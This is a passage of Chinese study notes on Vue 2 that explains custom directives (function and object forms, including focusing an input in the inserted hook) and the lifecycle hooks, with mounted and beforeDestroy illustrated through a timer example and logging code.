</div>

new Vue({
	el:'#root',
	data:{
		name:'王劭阳',
		n:1
	},
	directives:{
		// big-number函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
		'big-number'(element,binding){
			// element是v-big-number修饰的DOM元素
			// binding是一个对象,binding.value就是v-big-number上的值
			console.log(element,binding);
			console.log('big',this);// 注意此处的this是window
			element.innerText = binding.value * 10;
		},
		fbind:{
			// 指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value;
			},
			// 指令所在元素被插入页面时
			inserted(element,binding){
				element.focus();
			},
			// 指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value;
			}
		}
	}
});

v-big-number指令通过binding参数获取到value,按照需求将它放大10被再填充到element中。
v-fbind指令的实现,不能写成一个函数,因为fbind()函数触发的时候,只完成了v-bind指令和元素的绑定,但是此时,真实的input元素还没有渲染到页面上,使用element.focus()是无效的,因为element的DOM结构还没形成。这里使用对象式来写,对象里的方法名是固定的,改变后,就不能被Vue触发了,它们在合适的时机被Vue触发,完成一些功能。

生命周期

Vue的生命周期也叫生命周期回调函数、生命周期函数、生命周期钩子,在Vue的关键时刻,Vue会自动调用这些函数,这些函数有着固定的名字,我们可以显式定义这些函数,在函数体里写上需要执行的功能,让Vue在回调这些函数的时候,实现我们想要的功能,生命周期函数中this指向Vue实例对象或组件实例对象。
第一个要引出的生命周期函数是mounted(),现在要实现一个功能:让一段文本的样式不断的切换opacity。通过定时器来实现,脱离Vue来定义定时器可以实现,但是不推荐,推荐的做法是在Vue的mounted()方法中,定义定时器来实现,这样,在Vue实例销毁的时候,定时器也会被自动销毁。
Vue调用mounted()方法的时机是:Vue完成模板解析并把真实的DOM放入页面,挂载完毕后。

<div id="root">
	<h2 :style="{opacity}">学习Vue</h2>
</div>

new Vue({
	el:'#root',
	data:{
		opacity:1
	},
	mounted(){
		console.log('mounted', this);
		setInterval(() => {
			this.opacity -= 0.01
			if (this.opacity <= 0) {
				this.opacity = 1;
			}
		},16);
	},
);
//通过外部的定时器实现(不推荐)
/* setInterval(() => {
	vm.opacity -= 0.01;
	if (vm.opacity <= 0) {
		vm.opacity = 1;
	}
},16); */

其实Vue有4对生命周期函数:beforeCreate()created()beforeMount()mounted()beforeUpdate()updated()beforeDestroy()destroyed()。在定义生命周期函数的时候,方法名不能写错,如果写错了,Vue就不会帮我们调用了。

Vue笔记01-Vue核心_数据绑定_02


有了这张图,我们就可以在合适的时机,插入我们想要执行的命令了。这些生命周期函数,在定义的时候,和methods是同级别的。

从上面的流程图,还看到一个template,用法是这样的,如果在Vue实体中定义了template,那么就使用template直接作为Vue绑定的模板,忽略el元素指定的模板。

<div id="root" :x="n">
	<h2 v-text="n"></h2>
	<h2>当前的n值是:{{n}}</h2>
	<button @click="add">点我n+1</button>
	<button @click="bye">点我销毁vm</button>
</div>

new Vue({
	el:'#root',
	// template:`
	// 	<div>
	// 		<h2>当前的n值是:{{n}}</h2>
	// 		<button @click="add">点我n+1</button>
	// 	</div>
	// `,
	data:{
		n:1
	},
	methods: {
		add(){
			console.log('add');
			this.n++;
		},
		bye(){
			console.log('bye');
			this.$destroy();// 手动触发destroy()函数
		}
	},
	watch:{
		n(){
			console.log('n变了');
		}
	},
	beforeCreate() {
		console.log('beforeCreate');
	},
	created() {
		console.log('created');
	},
	beforeMount() {
		console.log('beforeMount');
	},
	mounted() {
		console.log('mounted');
	},
	beforeUpdate() {
		console.log('beforeUpdate');
	},
	updated() {
		console.log('updated');
	},
	beforeDestroy() {
		console.log('beforeDestroy');
	},
	destroyed() {
		console.log('destroyed');
	},
})

在这些生命周期函数中,比较重要的两个是mounted()beforeDestroy()
mounted():发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作。
beforeDestroy():清除定时器,解绑自定义事件,取消消息订阅等收尾操作。
借助这些Vue的生命周期函数,可以将一些操作,从业务中分离出来,让代码看着更简洁。


举报

相关推荐

0 条评论